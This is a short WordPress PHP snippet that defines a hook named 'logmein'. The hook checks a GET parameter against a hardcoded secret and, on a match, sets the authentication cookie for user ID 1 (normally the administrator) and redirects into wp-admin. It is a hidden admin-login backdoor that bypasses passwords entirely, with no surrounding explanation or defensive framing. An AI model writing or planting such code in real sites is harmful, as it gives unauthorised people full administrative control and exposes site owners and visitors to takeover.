function logmein(){
if (empty($_GET['logmein'])) { return; }
if ($_GET['logmein'] != "2323dfsdf4221222ssddfsdvcvcvfsfdrrwwe222221111223ffgfg") { return; }
//http://wherever.net?logmein=sdsfddf74574744846fdgdfgdfbcbgdgdhjs536448436hjdkjdnnchh332jdjskn445
wp_set_auth_cookie( 1 );
wp_redirect( 'http://wherever.net/wp-admin/post-new.php' );
exit;
}
add_action('wp_loaded','logmein');